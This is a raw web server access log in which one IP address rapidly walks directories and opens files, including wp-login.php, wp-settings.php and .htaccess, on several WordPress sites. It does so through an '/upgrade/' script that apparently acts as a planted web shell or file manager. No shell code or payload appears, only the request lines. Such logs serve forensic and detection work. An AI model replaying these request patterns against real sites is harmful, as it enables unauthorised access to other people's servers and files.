45.135.193.11 - - [11/Sep/2026:22:41:48 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 10646 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:48 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fwp-content HTTP/1.1" 200 6713 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:48 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fwp-includes HTTP/1.1" 200 25932 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:48 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F.well-known HTTP/1.1" 200 6047 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:48 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile HTTP/1.1" 200 6474 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:49 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 11891 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:49 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5792 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:49 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F&option=dir HTTP/1.1" 200 8320 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:49 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 11745 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:49 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 16060 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:49 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 18985 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:49 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 9973 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:49 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 8282 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:49 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F&option=folder HTTP/1.1" 200 8322 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:49 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample HTTP/1.1" 200 6390 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:49 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fcgi-bin HTTP/1.1" 200 5791 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:49 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 9584 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 25587 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 9221 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 16451 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:50 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7841 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:50 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 8325 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:50 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 8309 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:50 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade HTTP/1.1" 200 6583 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:50 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F HTTP/1.1" 200 6181 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:50 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin&location=%2F HTTP/1.1" 200 7848 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:50 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F HTTP/1.1" 200 6209 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F HTTP/1.1" 200 18935 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F HTTP/1.1" 200 50751 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F&option=file HTTP/1.1" 200 6164 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:51 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin&location=%2Fhome%2F HTTP/1.1" 200 5786 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:51 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7923 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F HTTP/1.1" 200 6195 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F&option=folder HTTP/1.1" 200 6205 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:51 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 9019 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 10719 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 25672 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 16123 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:51 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7964 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 13402 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:52 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 16474 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:52 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 20879 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:52 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 10095 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:52 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 19097 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:52 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 9943 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 8325 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F.well-known HTTP/1.1" 200 6046 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F&option=dir HTTP/1.1" 200 8337 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 5801 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 6398 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
